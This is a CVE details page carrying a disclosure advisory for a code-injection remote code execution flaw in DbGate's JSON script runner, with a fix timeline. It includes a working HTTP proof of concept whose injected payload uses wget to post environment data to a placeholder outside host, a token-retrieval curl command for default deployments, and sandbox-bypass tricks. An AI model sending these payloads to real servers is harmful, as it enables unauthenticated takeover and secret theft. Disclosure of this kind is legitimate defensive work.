CVE-2026-47668 — Vulnerability in dbgate-serve — CVE Details

### Summary DbGate's JSON script runner (`POST /runners/start`) allows remote code execution via code injection in the `functionName` parameter of JSON script `assign` commands. The `functionName` value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process. ### Details #### Step 1: User Input Entry Point **File:** `packages/api/src/controllers/runners.js` - `start()` method The `/runners/start` endpoint accepts a POST body containing a `script` object. When `script.type == 'json'`, the request follows a different code path than raw shell scripts: ```javascript async start({ script }, req) { if (script.type == 'json') { if (!platformInfo.isElectron) { if (!checkSecureDirectoriesInScript(script)) { return { errorMessage: 'Unallowed directories in script' }; } } logJsonRunnerScript(req, script); const js = await jsonScriptToJavascript(script); return this.startCore(runid, scriptTemplate(js, false)); } ``` This path skips: 1. The `run-shell-script` permission check 2. The `allowShellScripting` platform-level check The only validation performed is `checkSecureDirectoriesInScript()`, which `props.fileName` values --- #### Step 2: JSON-to-JavaScript Conversion (Injection Point) **File:** `packages/tools/src/ScriptWriter.ts` - `assignCore()` method The JSON script's `commands` array contains objects with `type: "assign"`. The `assignCore` method generates JavaScript by direct string concatenation of user-controlled values: ```typescript assignCore(variableName, functionName, props) { this._put(`const ${variableName} = await ${functionName}(${JSON.stringify(props)});`); } ``` Both `variableName` and `functionName` are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code. --- #### Step 3: Function Name Compilation **File:** `packages/tools/src/packageTools.ts` - `compileShellApiFunctionName()` Before interpolation, `functionName` passes through this function: ```typescript export function compileShellApiFunctionName(functionName) { const nsMatch = functionName.match(/^([^@]+)@([^@]+)/); if (nsMatch) { return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`; } return `dbgateApi.${functionName}`; } ``` An attacker supplying `functionName: "x;MALICIOUS_CODE;//"` gets: ``` dbgateApi.x;MALICIOUS_CODE;// ``` This is syntactically valid JavaScript: `dbgateApi.x` evaluates (and is discarded), `MALICIOUS_CODE` executes, and `//` comments out the trailing `(${JSON.stringify(props)});`. --- #### Step 4: Generated JavaScript Template The complete generated script that gets executed: ```javascript const dbgateApi = require(process.env.DBGATE_API); require = null; async function run() { const x = await dbgateApi.x;process.mainModule.require('child_process').execSync('wget <attacker host>');//({}); await dbgateApi.finalizer.run(); } dbgateApi.runScript(run); ``` #### Step 5: Execution via child_process.fork() **File:** `packages/api/src/controllers/runners.js` - `startCore()` method The generated JavaScript string is written to a temporary file and executed as a new Node.js process via `child_process.fork()`. This provides the attacker with a full Node.js runtime, including access to `process`, `child_process`, `fs`, `net`, and all other Node.js built-in modules. The `require = null` sandbox can be bypassed via: - `process.mainModule.require()` - separate reference unaffected by the null assignment - `module.constructor._load()` - internal module loader, also unaffected --- #### Additional Injection Points The same unsanitised string interpolation pattern exists in: | Endpoint | Parameter | File | |----------|-----------|------| | `POST /runners/start` | `functionName` in assign commands | `ScriptWriter.ts` - `assignCore()` | | `POST /runners/start` | `variableName` in assign commands | `ScriptWriter.ts` - `assignCore()` | | `POST /runners/load-reader` | `functionName` parameter | `ScriptWriter.ts` - `loaderScriptTemplate` | ### PoC ```http POST /runners/start HTTP/1.1 Host: <dbgate-instance>:3000 Authorization: Bearer <token> Content-Type: application/json { "script": { "type": "json", "commands": [ { "type": "assign", "variableName": "x", "functionName": "x;process.mainModule.require('child_process').execSync('wget --post-data \"$(env 2>1&)\" <out of band host>');//", "props": {} } ], "packageNames": [] } } ``` The request to the out of band host was as follows: ```http POST / HTTP/1.1 Host: <out of band host> User-Agent: Wget/1.21.3 Accept: */* Accept-Encoding: identity Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Content-Length: 251 NODE_VERSION=22.22.2 HOSTNAME=4714c7a7405f YARN_VERSION=1.22.22 HOME=/root TERM=xterm PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin DBGATE_API=/home/dbgate-docker/bundle.js PWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c ``` --- A bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using: ```bash curl -sk -H "Content-Type: application/json" -d '{"amoid":"none"}' <dbgate-instance>:3000/auth/login ``` ### Impact | Scenario | Impact | CVSS Score | CVSS Vector | |----------|--------|--------|--------| | Anonymous auth mode (default deployment) (`authProvider: "Anonymous"`) | Unauthenticated RCE | 10.0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | | Authenticated deployment | Authenticated RCE - any user with API access | 9.9 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | ### Timeline | Date | Event | |------|-------| | 2026-03-31 | Vulnerability discovered | | 2026-04-07 | Advisory report prepared and submitted to maintainer | | 2026-04-22 | Fix released (v7.1.9) | | 2026-04-24 | Maintainer acknowledgment | | 2026-05-20 | Public disclosure | ### Acknowledgements - Discovery assisted by Neo from @ProjectDiscovery - Initial research direction inspired by @H0j3n — https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml